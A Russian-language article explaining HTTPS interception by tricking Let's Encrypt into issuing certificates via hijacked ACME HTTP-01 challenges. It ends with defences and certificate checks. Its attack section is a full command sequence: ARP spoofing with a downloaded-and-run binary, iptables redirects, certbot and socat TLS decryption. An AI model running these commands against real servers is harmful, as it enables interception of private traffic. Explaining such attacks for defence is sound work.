Перехват HTTPS — это техническая концепция и хакерская техника, которая заключается в обходе шифрования TLS для инспекции защищённого трафика. Таким образом, злоумышленник может активировать DPI незаметно для владельца сайта и его посетителей — и эффективно просматривать их трафик в то время, как они будут уверены в своей защищённости.

На практике атака более десяти лет производится через обман Удостоверяющих центров (УЦ), такого как Let’s Encrypt. На первом этапе злоумышленник заставляет их выдать TLS-сертификаты для доменов, которые им не принадлежат, перехватывая запросы ACME-HTTP-01. Для атаки уязвимы все УЦ, которые используют ACME.

Наиболее подробно техника HTTPS-перехвата описана в этой статье из хакерского блога The Hacker’s Choice. В блоге всего пять заметок от анонимного автора, который явно знаком с подобными атаками не понаслышке. Возможно, он сам их проводил или расследовал подобные инциденты.

В другой заметке он приводит пример HTTPS-перехвата некоей государственной службой в Германии, а ещё в одной — как работает «государственный файрвол» в Иране, где тоже государство использует DPI для мониторинга и цензуры трафика.

Эксперты Open Technology Fund согласны, что подобный тип атак свойственен именно государственным акторам, и они приводят некоторые примеры таких атак в техническом отчёте.

Пример атаки

На первом этапе злоумышленник должен получить доступ к целевому серверу или другому серверу в его подсети. Это можно сделать разными способами. Например, через проникновение в сеть хостера, облачного провайдера или провайдера любой другой инфраструктуры, которую использует мишень (целевой сайт). Проще всего взломать соседний сервер в той же подсети (bounce), в качестве примеров см. известные случаи атак 2022 KlaySwap, 2023 Hetzner и др.

Трафик c целевого сервера (в нашем примере это 156.229.232.158) перенаправляется на bounce, то есть 156.229.232.111 путём соответствующей инструкции к их совместному маршрутизатору на 156.229.232.1:

# on BOUNCE:
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects
iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
iptables -I FORWARD -d 156.229.232.158 -j ACCEPT

curl -o arpmitm -SsfL https://github.com/hackerschoice/thc-arpmitm/raw/refs/heads/master/releases/thc-arpmitm_static-binary_x86_64-pc-linux-gnu
chmod 755 arpmitm
./arpmitm -i eth0 -A 00:16:66:66:01:11 156.229.232.1:40:71:cc:cc:00:01 156.229.232.158

Затем поднимается минималистичный HTTP-сервер:

mkdir -p /tmp/.foo/.well-known/acme-challenge
cd /tmp/.foo
python3 -m http.server 8066

У Let’s Encrypt (LE) с помощью стандартной утилиты certbot заказывается сертификат для целевого домена, но Enter не нажимается, когда certbot попросит это сделать:

certbot certonly -d target.thc.org --manual --preferred-challenges http --register-unsafely-without-email --agree-tos

Выдача выглядит примерно так. Здесь УЦ выдаёт злоумышленнику код ACME:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Create a file containing just this data:

LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U

And make it available on your web server at this URL:

http://target.thc.org/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
####### STOP HERE ---> DO NOT PRESS ENTER YET #########

Этот код сохраняется на HTTP-сервере:

# Change these values with the values from above:
echo LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U >/tmp/.foo/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8

Потом злоумышленник перенаправляет запрос LE на контролируемый им HTTP-сервер на порту 8066:

iptables -t nat -I PREROUTING -p tcp -d 156.229.232.158 --dport 80 -j REDIRECT --to-port 8066
# LE verifies this challenge from 5 different locations. The clever user may only want to
# redirect these source locations:
# 23.178.112.106, 16.16.194.127, 3.142.152.154, 35.86.146.250, 18.141.24.36

Теперь нажимается Enter в той команде certbot. Сразу по окончании его работы удаляются изменённые правила iptables, а также HTTPS-сервер.

В результате всех этих операций валидный TLS-сертификат лежит на bounce. После этого можно использовать socat для дешифровки и перешифровки TLS-трафика, а затем его форвардинга на исходный сервер:

cd /etc/letsencrypt/live/target.thc.org
# First socat to convert 443 to cleartext 43
OPTSSL="cert=fullchain1.pem,key=privkey1.pem,verify=0,fork,reuseaddr,keepalive,keepidle=30,keepintvl=5,keepcnt=4"
(socat -T300 openssl-listen:1443,"${OPTSSL:?}" TCP:127.0.6.6:43 &>/dev/null &)
# Second socat to forward 43 to target.thc.org:443
(socat TCP-LISTEN:43,fork,reuseaddr OPENSSL:156.229.232.158:443,verify=0 &>/dev/null &)

После редиректа трафика злоумышленник получает к себе весь расшифрованный трафик TLS с сервера жертвы.

Защита от HTTPS-перехвата

По идее, браузер должен выполнять работу по проверке сертификата и предупреждать пользователя, если УЦ в сертификате не соответствует CAA-записи.

Удостоверяющим центрам рекомендуется отказаться от незащищённых способов аутентификации, таких как ACME-HTTP-01.

Как выявить подмену сертификата

Для выявления подмены сертификата существуют специальные инструменты мониторинга, но это можно сделать стандартными инструментами вроде Wireshark, а также и вручную, просто открыв действующий TLS-сертификат в браузере и изучив его спецификации.

В первую очередь следует обратить внимание на раздел Issued By («Кем выдан»), где указан издатель сертификата.

В случае подмены сертификата злонамеренный УЦ может быть указан в этих полях.

Подробнее о HTTPS-перехвате можно почитать также в справочном бюллетене Sophos (KBA-000006389).